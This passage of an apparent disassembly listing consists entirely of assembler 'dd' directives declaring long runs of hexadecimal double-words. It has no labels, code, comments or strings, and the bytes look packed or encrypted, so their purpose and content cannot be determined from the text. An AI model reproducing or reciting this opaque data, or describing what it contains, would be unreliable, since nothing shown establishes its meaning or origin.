		dd 9208D001h, 0DE64A800h, 0EAF7AC27h, 831E00E9h, 9D29A33Eh
		dd 3601722Ch, 1B7026AEh, 0F8EB6A98h, 0ED82B5Dh,	0C3CE024Bh
		dd 71280E9Ch, 9911640h,	0A501D504h, 93A3D6A6h, 0CDFDE502h
		dd 84F07A71h, 8E1100D3h, 1DD79EA0h, 26174C21h, 7F00358Ah
		dd 5D748CAAh, 5C7EBAh, 6B6E8E03h, 2AEE5392h, 0C5421B00h
		dd 0F162D649h, 0AA11C02Dh, 4D300321h, 0AB05FF00h, 95B7765Fh
		dd 51CD1467h, 0B5021408h, 0D6AA52Ah, 0C4BF06C1h, 5D020BADh
		dd 0A06E49A3h, 0F68C489Bh, 90CF0020h, 0FABA606Dh, 8F0009C8h
		dd 63240C89h, 5F6940h, 99788DABh, 0CA61484Fh, 45ECA800h
		dd 5D1B9105h, 0A7AF0097h, 0A2516F78h, 8500FE47h, 90452E1Ch
		dd 2925F74h, 0D577A6AEh, 29E01E15h, 86C13780h, 475B3A7Dh
		dd 4C32D8h, 6C957F61h, 0A0C788A7h, 1B00A698h, 55742868h
		dd 843882h, 5C09F672h, 996216D4h, 0A847EA24h, 5F5E750Eh
		dd 7F526D00h, 6A8F4Eh, 5B735A6Bh, 7024497Eh, 2D5F6C00h
		dd 99B7DA66h, 79FCB0FDh, 0BAE90E69h, 71FDFE96h,	0F4A5E810h
		dd 60989328h, 36EA23Dh,	0E30C1462h, 7D9BF00Bh, 3094A8C6h
		dd 0BD4F0CE2h, 6884836h, 547AAC92h, 225C1400h, 0AAC22E74h
		dd 6E2F0E83h, 82E0E549h, 4F5E048Eh, 5D3E4404h, 80C34DA0h
		dd 0A2C0ECBEh, 384CC8Fh, 0B93B385Ah, 1C989F33h,	4B601DDEh
		dd 0EBA7DD28h, 0C6EE00F0h, 0BA1EA2E7h, 5C805992h, 0C41D1819h
		dd 0E9FB4070h, 6F018498h, 214C90FAh, 28809B48h,	987929DCh
		dd 9C034038h, 1244078Eh, 0CCD0C8CFh, 0F5A83ADAh, 0B0B1A280h
		dd 6F806423h, 12EA7B00h, 9D053C88h, 77F2D7h, 5FFC9A1Bh
		dd 0EE319BE7h, 41BDAE02h, 873D18h, 75DBFAC6h, 35005DE4h
		dd 0A269ADFBh, 650CDAh,	0D28CEE8Ah, 0FC2FCFAh, 82F3AF07h
		dd 0F070EADDh, 10EC68h,	95611218h, 0A03FFDCDh, 8CE359h
		dd 7ABD296Dh, 493354Dh,	0BF2D7398h, 90278084h, 2C007E99h
		dd 48F97BC2h, 3D82E80Eh, 533D1872h, 81E90880h, 4B361D7Dh
		dd 3DCA3Fh, 0ADA66010h,	98BADB22h, 0CB4004Ah, 28DCC645h
		dd 1650A777h, 0B81225C8h
		dd 40CA79h, 3A43E644h, 228B0026h, 0F8E19AA1h, 0A5041488h
		dd 0FBA293B8h, 0C1B21BC1h, 0E4002921h, 929A8h, 0B611FE68h
		dd 2469CF1Eh, 6AC08307h, 0C8B0A3A7h, 0B0C1DAFh,	6D2E633Dh
		dd 0C1609B8Eh, 38285B9Ch, 784C5700h, 274D30Ch, 0CFB6001Bh
		dd 0F09BFDEFh, 0BB005A69h, 53905779h, 3C74641Eh, 70803A60h
		dd 341AE1B3h, 9C00453Fh, 0CBD7BF1Ch, 59057Fh, 7DB23E74h
		dd 0AA61AB44h, 5C086A1Fh, 0A024EE07h, 5662EC20h, 0A1C25BAh
		dd 52A01DC3h, 9E7430AFh, 48A848h, 9CA5FCA0h, 5C67B768h
		dd 0E500ED2Fh, 0D5C734F7h, 0B0A3D18Ch, 0D9C4F2C8h, 0DB18B40Fh
		dd 0E4C54EA8h, 5C97BBA3h, 0EA390780h, 0CECA00EEh, 203689F6h
		dd 0B006B65h, 3CD82398h, 0EE8D7AEh, 0E4F61724h,	0F2701820h
		dd 3600C2EFh, 1EBBC782h, 1C0DDD0Eh, 80C610AFh, 0E1D1C9BEh
		dd 8D0B518Eh, 833319B7h, 1CCABA37h, 4DF070h, 43D7C0A6h
		dd 0D10F8B46h, 0A0CFB5E9h, 0FE7A970Ah, 14D0EC3h, 5ED308h
		dd 9B7324D2h, 33000A22h, 5F3A9C29h, 1F4B8A6Ch, 0C0255D2Ah
		dd 18C4BCE4h, 0F800A0F2h, 67B8AE3Eh, 0A9597484h, 90FC98CCh
		dd 68BF007Eh, 803D330Bh, 3500C31Eh, 0D5D542Fh, 903E717Ch
		dd 76D20FF3h, 0C6E06505h, 4355E434h, 0C2CB8807h, 82600BC4h
		dd 1DB95D1Fh, 0CEA91BC1h, 0E5000A56h, 41BB25AFh, 474FA300h
		dd 7FCAB7F7h, 18827796h, 50A91456h, 1B18B594h, 528898D9h
		dd 0EE620066h, 9AE96170h, 496988A4h, 0C8F421B4h, 4410ADEBh
		dd 6D00B429h, 5391577Fh, 375F83BFh, 904E829Dh, 60A3E181h
		dd 8B00427Eh, 0DF0D6D7Fh, 78206B8Eh, 539089h, 46E1DAA4h
		dd 0AF9D272Dh, 753E1200h, 0F60A74E9h, 0BEA13B0Fh, 3E7C483h
		dd 0A6980E08h, 0D1727F66h, 43358005h, 0D400AD6Ah, 0CBB1EDD5h
		dd 39B2F246h, 0E5882A7h, 24A62D0Fh, 0ACB44820h,	8003947Dh
		dd 3C164C45h, 751DD8BDh, 338D0050h, 899B2360h, 1367C292h
		dd 5A00BAA0h, 0C9A7011h, 0C99E9396h, 8100DCB2h,	7825B34Ch
		dd 0CDB508Dh, 6FBCB453h, 7E0F3928h, 0FE707h, 26B2842h
		dd 89C88h, 0E4068944h, 0AD00417Eh, 372BF87Ch, 256AB5C6h
		dd 8928B3h, 41022282h, 61BCBC40h, 8C0BFB79h, 0F4759EDh
		dd 284D40C0h, 3CA096C5h, 19BE49A7h, 69868F00h, 88B7BF29h
		dd 706F6200h, 94B9564Eh, 9A5E0B8Dh, 0A09052h, 66D9FE19h
		dd 0F7E22100h, 0CB01FFBCh, 0E52B07D0h, 0FABDF4h, 74EDD7CEh
		dd 8EDBDA04h, 42C01C7Eh, 0EE4D04D6h, 22110089h,	0E6593E4Fh
		dd 633CAC34h, 263780ABh, 97AA4E64h, 5A15001Bh, 1FFE708Ah
		dd 0B376292Bh, 0BC005C76h, 9B0BE32h, 5CDE964Dh,	5D3F2042h
		dd 69A32880h, 168D5E89h, 0B5006572h, 9CF315B6h,	7052960h
		dd 2A761D68h, 49C340ABh, 0DB0794E6h, 1CB4A231h,	6E817250h
		dd 0D2551965h, 28E2480Ah, 36CD03C0h, 0E0C4E41Eh, 669648h
		dd 0AAA23422h, 5B914713h, 0E7352707h, 6FD09D84h, 76414652h
		dd 30761263h, 34A40672h, 2F041061h, 1EE133EDh, 3B5AACC3h
		dd 54599EACh, 4090961Dh, 3304836Dh, 4400324Ch, 0B6BF8BA0h
		dd 580E3B12h, 0CD1681F3h, 83801C0h, 400FD7FEh, 12571EC2h
		dd 3C0E5Ch, 4E1DCDDFh, 0DE0D21h, 67D1D216h, 27AC2A60h
		dd 3A185048h, 0C3281D2Fh, 52C48302h, 0E6C72AAh,	0B219477Bh
		dd 3671673h, 8716DCD3h,	9A0B201Fh, 20C9F9C0h, 4B0E85h
		dd 127598A9h, 3C68E558h, 9B1A3Bh, 705F27C1h, 3C4BDABAh
		dd 7F1E2E75h, 4C2480B8h, 0F80330BDh, 8A0067FEh,	0FB9787A4h
		dd 3C8509Ah, 0A1BC812Fh, 0C8BF0AEh, 0BDF67028h,	9785A312h
		dd 8615884Bh, 3040C7F6h, 0F0084EEFh, 64A057C4h,	5801ED4Fh
		dd 62CC611Fh, 0B230E51Dh, 59B87Eh, 9A9EDBF3h, 66A5964Fh
		dd 4D4BBA01h, 0A9E15D24h, 142B4089h, 81CEA4C0h,	0AB1FB900h
		dd 6227117Ah, 1DB0091h,	2B489032h, 4F06968Eh, 0C0F9CE20h
		dd 112D4229h, 0BA2130B6h, 91BE7208h, 0B9BC0039h, 0A5FE0B0Dh
		dd 0C4090043h, 0F8150FBDh, 0A0340B8h, 0C12BCCFh, 0B79EC0AAh
		dd 884203D2h, 98F3025Bh, 8D4DD1D0h, 0F4FA6538h,	0EF80A109h
		dd 6BAC005Dh, 418F6Ah, 0A969903Dh, 4FA4652Dh, 87FC1F1Bh
		dd 1C9A0042h, 0C79AC8C3h, 0B25D81A5h, 40130B58h, 8664801Ah
		dd 1319345Ah, 834E0282h, 438FCB8Ch, 111868E4h, 0D5396E06h
		dd 80B882h, 0F79FC2BBh,	0D6010ECBh, 87C17101h, 0F23C3570h
		dd 9EA1CCh, 9A3772DAh, 0A82D68D4h, 4E065C00h, 6FBB577Dh
		dd 0B9940509h, 0C13686D6h, 0DC19EB46h, 0E000E9A2h, 0FF397B3Ah
		dd 8D0A05h, 63146FA3h, 0A2AEACFDh, 67CC8800h, 0E2D8C22Ah
		dd 4DDF03EFh, 99648319h, 0C5F606D0h, 9FF5B20Bh,	0CFBE803Bh
		dd 1A8F02Bh, 0C3D221BFh, 0CC4D05FEh, 0B7000BEBh, 5D0F09A5h
		dd 270E17h, 0E0B5F120h,	2EA6D0B2h, 5B03D03h, 0C1CE525Ah
		dd 0F02897D6h, 8702B11Eh, 803EC0B8h, 677E8B82h,	4786B600h
		dd 73907D93h, 40AB0F68h, 85E05652h, 6D97FD09h, 0BE552100h
		dd 0E5EFFA92h, 0E431025Dh, 1D14DFA9h, 5A9E1C60h, 0E29FD90Fh
		dd 0BC840ADDh, 0AAA3EE80h, 4CF016h, 27D8FE57h, 0B2FA3101h
		dd 0DE656F00h, 0B4E2B802h, 24D93821h, 0EAFE6D00h, 82E51CB9h
		dd 0D2ADA200h, 83A12C72h, 5E8C0063h, 0EBBCB351h, 9B00C202h
		dd 361DE2B0h, 0F4C6B6Eh, 79106547h, 4D436700h, 5D03582Eh
		dd 9A119983h, 5F79073h,	78A800E2h, 0A4DE91CFh, 44021989h
		dd 1428CC90h, 80FF6298h, 0EA7012B8h, 0C83F0056h, 0DE01E4B7h
		dd 4A0CF80Ah, 0E0F4812Ch, 9D9E01FFh, 0F36D0E21h, 7FB880F7h
		dd 0B23861C6h, 44F548AEh, 93EB2A00h, 0CCB99C5Eh, 4E0BA704h
		dd 0BAC0A9B3h, 942F4Ah,	8650131Bh, 85646588h, 5B558701h
		dd 0C326F5A7h, 0A87820h, 16ABF928h, 7B5E98F8h, 437E8207h
		dd 84605DB6h, 7BB2776h,	39937CC3h, 58D38157h, 1B80FC61h
		dd 0E342800h, 7D27F8DDh, 35313996h, 0B88CD980h,	0C6295A6Ah
		dd 4CF258h, 6B8D0F19h, 77F2015h, 7B082C98h, 0E9992091h
		dd 511DE5C9h, 0D9007948h, 89169B9Dh, 0C27000EDh, 71A31EB2h
		dd 0B70E0EF8h, 47D9781Ch, 0BC90E92Bh, 0E91A56F5h, 17977081h
		dd 0F5C68A62h, 0FEC843D4h, 0CB2EDF88h, 3BEB8F1Ch, 0FC080A40h
		dd 71DE51B3h, 0E5D60097h, 0E1FF1429h, 80000599h, 0DB11F884h
		dd 213C54h, 409D3D24h, 0B944A28Dh, 8F0A4300h, 654F6A45h
		dd 13A40028h, 0A29C02C0h, 0A700B53Dh, 8C8E635Fh, 0DF5E81FDh
		dd 0D9B1C098h, 9B5C957h, 4D90BD00h, 3E721566h, 6D10E27h
		dd 93C11EA2h, 0CDDA4461h, 7535F8D4h, 0E40FE84Eh, 0A8971F81h
		dd 52835800h, 0F8776F1Bh, 82570076h, 7864204Dh,	6201315Bh
		dd 0F995BBE6h, 0A820E7ECh, 8FAE4CE5h, 4E751F00h, 8FB93442h
		dd 0B01AC424h, 9CA803Ch, 0D1EDE2A0h, 9B2D00AEh,	6920B313h
		dd 1A0761B9h, 0C7CD604Ah, 0F876A320h, 97153259h, 446096D8h
		dd 0E7000D87h, 0D61B0FA5h, 853241h, 4A7888D5h, 0B55754E4h
		dd 82056090h, 6AB644F9h, 0F337FA07h, 8842A5E2h,	1907DCA8h
		dd 0FB0CAh, 1B7A76E1h, 0F4F0603Bh, 387E3A47h, 65614Ch
		dd 1DC9FDF9h, 2DB28C0h,	0EE5FA8CEh, 0F080092Eh,	8FF140B0h
		dd 1F4BD897h, 4AD89441h, 1B2B65Ah, 8C45E857h, 62030DCh
		dd 0FAABF500h, 0A2C1D462h, 42A0282Ah, 597CB8h, 874970A9h
		dd 0C7533ACBh, 2F6E9F00h, 5835CA90h, 3A000BCh, 138EF969h
		dd 0D400A1EEh, 6C7A163Fh
		dd 0B2DB66h, 0E9A62D67h, 5CB8219Bh, 0E61B40h, 1461A192h
		dd 0CF02260Dh, 9E11C100h, 4B22D0E0h, 0BB5101E4h, 29A1DAF7h
		dd 86D2009h, 65AD0D00h,	16CDFF8Bh, 0D2EA07B6h, 105C8EC2h
		dd 9DFC7CECh, 0A2EE200h, 75A638D1h, 8E263E69h, 8C52B194h
		dd 79863F00h, 7664B946h, 5006F78h, 35FF858Fh, 5ACE4C3h
		dd 7127F370h, 6E3CC095h, 78B2372Bh, 0F0BFB100h,	0AC4596F7h
		dd 124D00A0h, 0CAE7AD05h, 0FF00BD5Dh, 9547ED93h, 372D5Fh
		dd 520AC5F7h, 8F508469h, 0DE1D2F04h, 0D3C015B9h, 23940A3h
		dd 7113AE02h, 0D8E0CBD2h, 0A61E4830h, 847565Bh,	0B3904185h
		dd 0C935A62h, 54CE8DBFh, 4E3F50C8h, 53AD0051h, 0E52C63AFh
		dd 657F003Fh, 0D8AB78F2h, 0CD3098DCh, 0F60CD0C1h, 0EC608293h
		dd 0D3090E3Bh, 48BE36F9h, 4F5FC0h, 0CE64CBA3h, 0FC35546h
		dd 0BE413100h, 94C2E402h, 0ED160220h, 25E3CCE9h, 5B8994E0h
		dd 4FC2Fh, 0F7D8B200h, 0CC0E009Eh, 0DBB3C7A2h, 0D0791F6h
		dd 60A0B1Eh, 5A1B6080h,	6B079EBh, 2873DA07h, 1871104Ch
		dd 56CA7900h, 9E4485FAh, 0D42F008Dh, 0CEF4B1BCh, 7317B30Bh
		dd 5040470Eh, 5809CB9Fh, 0E91507BBh, 8FC5FEC8h,	64866DE0h
		dd 7C7F3C06h, 35397F00h, 29769188h, 1747E2B9h, 0B5EC04h
		dd 67E2CAAEh, 9714B233h, 2EC108F1h, 0B12C9DD0h,	0FCBE6A02h
		dd 2CA4C07Ah, 3DC77199h, 9A1E049Bh, 0EAD6004Fh,	777E0FABh
		dd 953B8A14h, 1D0503FDh, 1F2B34BFh, 41CD6BB6h, 66D27DBh
		dd 828C408Fh, 0E006788h, 0FD62C3FEh, 4734D8h, 0B8F4D486h
		dd 2E33DED6h, 407A8409h, 64A400E4h, 142432D7h, 0FFD426F2h
		dd 28E51E72h, 609540DFh, 0DEF3FECCh, 0D75EDA0Eh, 0C06C2C38h
		dd 0EEA13D87h, 0C4AA8905h, 0E49C807Eh, 0E00F6E5h, 0D31D70BFh
		dd 0C08BC8h, 0CC108A4h,	9ABBC01h, 0B8173Fh, 4B24B1CEh
		dd 3F3167h, 4E6EA634h, 1C746B8Fh, 8093123Ah, 25549778h
		dd 0A7876Ch, 0E1C683EEh, 0B486ABF2h, 0A201BF00h, 0AA47385Eh
		dd 22B0076Eh, 74719825h, 77CE8161h, 0C7D8D733h,	0C473A245h
		dd 0B6865D30h, 5F6D85FFh, 43248020h, 0A13FBE06h, 0BCB400F7h
		dd 7356A9EDh, 96540340h, 6C0AA5DBh, 1CE0E9E2h, 0B00B301h
		dd 7EA82A5Bh, 432026h, 0F98A7027h, 0DEA909C7h, 111FE575h
		dd 0FCE62819h, 22B71504h, 381D6C80h, 7D84E51h, 0B36C6EC0h
		dd 57D8D263h, 43E26F74h, 4A616600h, 9F515DBFh, 1D680024h
		dd 333F7CB7h, 7400978Eh, 6C8C872Fh, 0E59E5573h,	2286C20h
		dd 53201E2h, 0D661B09Ah, 5920C4D8h, 0C6CF9h, 0FF018D63h
		dd 0A04158h, 0CE115E37h, 0F5A8E79Ah, 57D0D700h,	3CCAB59Dh
		dd 884600B4h, 0CDFCF2D2h, 0F403A818h, 6F5A1DFh,	0C8E4EBAEh
		dd 3191245h, 669A52BDh,	73826A0Bh, 2C6E20E0h, 0C822C204h
		dd 0F48013E8h, 0F411E3h, 0EE419801h, 0AE1E78D8h, 0F7DF9B04h
		dd 0BF87B8C6h, 0CF2ADEB0h, 7D0100F6h, 604071ABh, 24482FEFh
		dd 80AD3A4Ch, 0CF2E93ECh, 2501416Eh, 0D083998Eh, 98A07E7Bh
		dd 5B25E054h, 0C4448005h, 26C6A9C9h, 60ECF599h,	183F6998h
		dd 0F6B87400h, 0E884A9FCh, 780E27D3h, 0E39E0800h, 6D0F9AF1h
		dd 58BC5DD1h, 216AF51h,	9751ABB2h, 42E0C39Ch, 100B0865h
		dd 60B188CCh, 0E0F134D4h, 0E8BB04CAh, 0E0335227h, 1716CBC8h
		dd 3501C0FEh, 7871C16Dh, 0B828B3FDh, 1F352100h,	0EFE89F99h
		dd 0A50E51F0h, 0E011CFAFh, 0A9E785EDh, 0CE200A2h, 559BDBFFh
		dd 0DE709EBAh, 9CDCFA07h, 0A0BFBB3Eh, 7252FE15h, 0AF3042Dh
		dd 0E482A345h, 4D4F1374h, 2FA8F040h, 749B0278h,	4FCE1817h
		dd 0F9A1811h, 65E8F8F8h, 18681228h, 975DA407h, 0C0915829h
		dd 0CAF5202Fh, 9BA25CCh, 569AAB1Fh, 38C5B0C1h, 36CE839Ch
		dd 27591C07h, 58289C78h, 25BB9198h, 0B47800Eh, 0D2BF60A2h
		dd 43F9CAEh, 639AF678h,	2024F296h, 2003F164h, 14EF6800h
		dd 0E5D286Ah, 4E900053h, 8BD41997h, 48F03798h, 9D6B9503h
		dd 58A82B74h, 4100D049h, 0ED5040EBh, 691D27B9h,	630610A5h
		dd 1998B542h, 30BEFC8Ah, 2C9DFC0Dh, 65FBE200h, 7D27909Ch
		dd 9E260619h, 0C98F5C51h, 0B168BD00h, 1EC88560h, 99C0531h
		dd 801C25FEh, 44652C6h,	0B9E3DE00h, 1261D920h, 3DBA144Dh
		dd 2C008C5Ch, 4C9CC8B4h, 66032190h, 284F14E4h, 9B2A33Fh
		dd 459EB1B9h, 4BC52420h, 0CC036613h, 0C920ECAEh, 2B891982h
		dd 70F83189h, 0F5008FB0h, 33320C79h, 0C21D5C6Ah, 372A5168h
		dd 100185Eh, 85238C0h, 2CE06Ch,	3A3EEDA6h, 422F4BB8h, 5E1F5716h
		dd 0ADC08D00h, 775D9AEh, 8967AAB0h, 74C300F2h, 0F800347Eh
		dd 0FD6D3F95h, 5C9AF0h,	279E12Eh, 0DBD3A440h, 804E1B00h
		dd 4B212404h, 0F8171AEh, 8251EFDFh, 78E2F880h, 40000339h
		dd 0ECB297FAh, 0F8195DFBh, 0FC912406h, 324C00C7h, 3FAD8D26h
		dd 0BA9F2C00h, 0C80AE041h, 61FD0FCAh, 961F910h,	60ECC90Fh
		dd 6E00F856h, 7A39C7A1h, 741B071h, 84828B37h, 3C8AD0DAh
		dd 8900A236h, 3A0CCCC4h, 7F99903h, 38F1CA08h, 0B11B5034h
		dd 41001389h, 274D8B8Ch, 0DA8821h, 0B5AD9A7Eh, 1A03FC44h
		dd 4007B10Eh, 94BD4AAFh, 9A650423h, 442142Bh, 0ECC88FFAh
		dd 70510D3h, 0A7DA5ED1h, 6AC5F047h, 760069ADh, 0C80EA318h
		dd 0FA3DA1F4h, 147A5006h, 53C64469h, 84D00C44h,	42608022h
		dd 9B81115h, 0E308DC21h, 8481905Dh, 0B8481041h,	0D8A57641h
		dd 5102D02h, 8C48942h, 0D9AE445Bh, 3A1F64A0h, 0E308A089h
		dd 529B065h, 319A2804h,	44A06C44h, 0F144FF52h, 386544C2h
		dd 814884Ah, 9D90F8F4h,	2131378Eh, 2BC0454h, 42C908D9h
		dd 302529A6h, 98C47848h, 697429F5h, 0B8CE2200h,	6B1C3634h
		dd 761A7755h, 1B370076h, 0B521586Ah, 0EFB013FCh, 0D90086FCh
		dd 916E7388h, 7996687h,	5E224A96h, 5A9D50EEh, 2500777Eh
		dd 39AE3BFAh, 2B511h, 740468DEh, 59C78ED7h, 5CDA7300h
		dd 94D5E5E9h, 0C48700A0h, 2ECD2634h, 31007E20h,	8157BD61h
		dd 1097D0Eh, 0DB97B1FAh, 706CF5DCh, 0F11ED3F2h,	7E805D51h
		dd 0D9D83DCAh, 78A3035Ch, 0A64552C4h, 0E90743B8h, 9AF1B0Fh
		dd 1115C0ACh, 1C6A17Bh,	62E7123Bh, 6074F2CBh, 8C12C2C6h
		dd 6400411Bh, 60FED713h, 0A09600D2h, 14EB0CF8h,	5F0175E3h
		dd 7ADB6405h, 0C8FC4504h, 7F650331h, 812D1EEh, 8A073FB0h
		dd 27A57400h, 0C066B07Ch, 0E44F0CB1h, 8EB01C01h, 0C2DAFA00h
		dd 5473FCDFh, 0E80A010Bh, 83AD7815h, 546C48Ch, 0F300117Ah
		dd 0DBE1E99h, 291C2Ch, 0C3A62592h, 56C0E4A0h, 96FD5E3Dh
		dd 611F60B7h, 0CDB9CB00h, 92C7AAh, 0DD6CA4A0h, 2582A238h
		dd 3BBAB800h, 4DCD991Ah, 7324009Eh, 62E1E601h, 65013D42h
		dd 0E6BBE16h, 845069D6h, 0FC1D8DDFh, 578E000Ah,	892228DEh
		dd 2001EC6h, 5B94D764h,	7588CFAh, 36837C47h, 481DBFFh
		dd 0C46B79A0h, 0D003F933h, 0D0124E0h, 0B841B099h, 55E00ADh
		dd 81877EBBh, 0DD00EDCDh, 6E7FD56Fh, 83FB2Ah, 0CB3AFFDEh
		dd 7B0E62B5h, 0EE0055E2h, 0FD16B7CCh, 0E56041h,	0AF4FD88Eh
		dd 73C40817h, 0D6EEE403h, 0F80252F8h, 155CC9h, 0CF9DB6Eh
		dd 17A81938h, 92129E00h, 1E542D5Fh, 60E3005Eh, 0E4E93DB5h
		dd 941E24A8h, 0DF002CFDh, 0BA01E6AFh, 0A71EDh, 6E89EAF7h
		dd 79FF329Eh, 0BE5E6400h, 9C7C8E49h, 3B540030h,	27BA8239h
		dd 0DD00336Fh
		dd 0C284D5D2h, 0E609C674h, 2233966h, 8E40CEB0h,	8F0017C3h
		dd 90382B27h, 113495Ah,	4DCF3F26h, 0D06EBB03h, 770069BFh
		dd 7571C304h, 0D60592h,	0A835B9Eh, 4716910Eh, 55B4D20Eh
		dd 3DAB8046h, 7AB896E7h, 635F07F0h, 8060248Ah, 4A6F0E32h
		dd 9A34DF00h, 19C8DC68h, 0D898C7h, 232920EBh, 89E2D256h
		dd 26EA2B00h, 0E3E73015h, 0EB1C0788h, 80962381h, 3F8EB1F7h
		dd 0B4A5662Eh, 0A3F4F60Fh, 3AF673Eh, 956BEB10h,	0DB909D62h
		dd 0ED0073E3h, 2B810D68h, 3F3C597Ah, 0D49C767Eh, 4042879Ch
		dd 0D0EAC073h, 17574B5h, 0AAB8709h, 971003E0h, 6E30E892h
		dd 0E5310EC7h, 35403C80h, 0FDDC75F7h, 9E253404h, 18C01723h
		dd 0F69322Dh, 83F4A091h, 2FEF80BEh, 71A9701Dh, 0F3579000h
		dd 4784727Bh, 6BBB003Ah, 7E1BBEC4h, 187AF4E1h, 8973EB38h
		dd 0ABC6561h, 0FF00CC90h, 0C182CA8Ch, 840800D6h, 6A215625h
		dd 515931FBh, 3C5E017Ch, 1C17C4B4h, 1D941030h, 8FAB41EBh
		dd 3000FAFCh, 0CFCE4E66h, 18AB50Eh, 2FB9A0E8h, 7965411h
		dd 31D5377h, 0D1D337EEh, 0E0FAC663h, 0C2003B8Bh, 683945AAh
		dd 1F420A7h, 50295F56h,	0D8C317C1h, 6D07E212h, 0F0BDCAA3h
		dd 0AC23A240h, 0F2DE00C2h, 35FA360Bh, 967F4A59h, 5E20DB00h
		dd 0A18AAE5Dh, 7D9F000Eh, 5A6D4CE9h, 0DD0DA629h, 0E06AC3DBh
		dd 0D21ADCh, 0D4640C02h, 0F0EDFA88h, 0B4DBC802h, 40BAC677h
		dd 75B5F8CFh, 6BB707F4h, 0E1129876h, 0E0D995E1h, 0BFEC8030h
		dd 2B245875h, 220E1CF8h, 0C0ABCFA9h, 713F702Fh,	7EA0A005h
		dd 6044003Ch, 0A9BF90B7h, 4A3AE8C6h, 0BC7D8076h, 45E9C5A6h
		dd 0FE23005Dh, 0C80A4950h, 3A581C86h, 0D4A0349h, 88328BC9h
		dd 0CF6580h, 77F70B22h,	0C3D1FC4h, 0AF071A7Ah, 0A5C7282Ah
		dd 0A76F4860h, 0B7390046h, 6B872DD6h, 0C600CE8Fh, 73BFD5F8h
		dd 51C8133h, 1DB2FA3Bh,	0DFC82052h, 8000560Bh, 0FD6DA76h
		dd 4CC6539Ch, 0A71EF0C8h, 0FFE9C0EFh, 6571356h,	336C470Eh
		dd 0E6D16085h, 1EF5F0Bh, 25C20997h, 201D6FCDh, 32CA0754h
		dd 0AE008396h, 0D9429D33h, 7DE305FEh, 838E40D7h, 15F80F22h
		dd 0D0009097h, 0A3439A08h, 1C2A99Eh, 3FCF92E7h,	0DD1130E6h
		dd 0D5A7D4F0h, 42E1F00h, 0A199D4F6h, 7145090Bh,	0AB80877Ah
		dd 0E5B49DDh, 6E213401h, 22165ABDh, 7FE296h, 7D23117Ch
		dd 0E600081Eh, 9DB1A54Dh, 33489B0h, 0C235882Ch,	22A00FEBh
		dd 0D40046CCh, 0CB55AB92h, 33F6E99h, 0CD19FF28h, 58F02CE4h
		dd 2B15B2EAh, 0F8A7FBh,	0E87C3476h, 3D0DA84Fh, 82807F12h
		dd 171581BEh, 410F7E0Fh, 0BBE57Dh, 6F84E0C9h, 5516005Eh
		dd 83E1CE5Fh, 0EC006370h, 0D703074Ch, 83ED02CFh, 19D17A90h
		dd 49B2CA03h, 88F18310h, 0B7BC82h, 4B2AE779h, 97ADA29Fh
		dd 0A198B50Fh, 7DF16731h, 0FF2D0140h, 0C7C40739h, 90AE11F0h
		dd 71EEF492h, 0A023ECF1h, 0E5412A00h, 0DFD1AFA2h, 4EE600C2h
		dd 0C6BF168Dh, 5D04672Fh, 8FF74B8Ch, 0D0D15EC1h, 496430h
		dd 939580B1h, 0AFB9669Fh, 0BBE3E800h, 653EA4DBh, 0A93B07D2h
		dd 3D33AE9h, 81902402h,	0F209DC5Ah, 7EFBE6A4h, 0AEE80078h
		dd 3A36DE50h, 0F18BD600h, 0EC657B33h, 8C670E51h, 35C02A5Eh
		dd 6DBC95C3h, 698ED900h, 0C98A321Fh, 3EA63B8Fh,	42BE6700h
		dd 0EE5A5283h, 0EA013B7Ch, 0B95D222Eh, 0FFD0C6A4h, 7D1E01B2h
		dd 358B72BEh, 3802F4EBh, 9127E502h, 62D5B742h, 4B20682Eh
		dd 2C90041h, 0A8C334F6h, 0F4FA0D0Bh, 0C4464F00h, 2209FCAFh
		dd 0C9360002h, 1F6F1B97h, 3E0085C6h, 841A95D1h,	0C08FC720h
		dd 74C58A10h, 20B01282h, 4C140300h, 70E10469h, 3AC40E6Ch
		dd 8660F9B1h, 95EF6A36h, 0D468A800h, 5DE81AE5h,	12D07207h
		dd 0C27D7Ch, 0C117F2E8h, 0CC9822F6h, 2328A201h,	80E0C83Ah
		dd 2BDFFD0h, 1E822DC6h,	8E0550Fh, 0FD03D091h, 3004B6A0h
		dd 0C076B3BBh, 0F055C94h, 62C98765h, 0BAF2F880h, 0C1F9969h
		dd 480098A6h, 0ACF96782h, 5E680019h, 3290117h, 5179934Dh
		dd 589FD803h, 0A8BFE60Ah, 0AA9DE9h, 0F6790B8Bh,	423538F8h
		dd 9EB0A800h, 1B3B3314h, 166A0383h, 49C57F7Ah, 1066C0CDh
		dd 970013E9h, 0D0932B7Dh, 40D24Ah, 384F31A5h, 0A60B81Fh
		dd 0F20004EEh, 43114C09h, 38FFA51Ah, 0EE071B86h, 30026849h
		dd 2E6A3E06h, 74B75Ch, 76CC0DDDh, 1CD30Fh, 0BDBCFD50h
		dd 2CC9C525h, 0F1805C00h, 728BA70Dh, 0BF101C8Ah, 0F0074077h
		dd 3A44B5B9h, 8E000973h, 6DEBCCC8h, 0C76B3h, 220B8204h
		dd 0F408C5E1h, 43AEAD00h, 0A0A5AFA4h, 0E213E4BCh, 2EC1799Dh
		dd 38CEC39Eh, 0ACC800FDh, 0FD40BC25h, 42000139h, 5A05D171h
		dd 13F0E80Fh, 0A1D31Eh,	23744F16h, 2500777Ah, 8CCCC382h
		dd 171E3D1Dh, 433389h, 83A00E7Eh, 0B212BA0Dh, 0C008567h
		dd 0CA80FDE4h, 2DF90033h, 19A6F75Fh, 0DF00E95Ch, 99DCC8B5h
		dd 9657D6h, 4FE09D56h, 65B49FD9h, 0C6CF1000h, 91F198DAh
		dd 6A4A0018h, 5A60C3C0h, 0F507C50Ah, 25824F80h,	0A958E200h
		dd 0B0400B1h, 5F612DB7h, 0FE095992h, 40B27F42h,	0F0E78C5Ch
		dd 6930324h, 82C0ECA9h,	8AA840A0h, 0DA4CF500h, 9A781088h
		dd 26E3008Fh, 1BFDCDC3h, 0BB000A94h, 8E4F4070h,	0BCD761h
		dd 0AB585F5Dh, 9D05EC77h, 81ED5C3Ch, 0A2ED13Dh,	4EFC694Bh
		dd 2AB7034Ah, 3C189284h, 749EA6E0h, 0E57EE700h,	0BC8D987Dh
		dd 7A120055h, 5D680CA9h, 711E2A6Ch, 154159FFh, 0E1E0D013h
		dd 0FCE05871h, 0E23E0E62h, 3B20500Ch, 41E74E4Fh, 0F7A8C70Eh
		dd 0D98D41A0h, 0EBC1DD52h, 0B86F3C0h, 92D79F0Bh, 7ABFBB00h
		dd 1800EAACh, 49E0CC91h, 1ED2A93h, 81633DDh, 0F56E0AF3h
		dd 3FF0F7D3h, 4200104Dh, 7590A195h, 0A408C8h, 56F062FBh
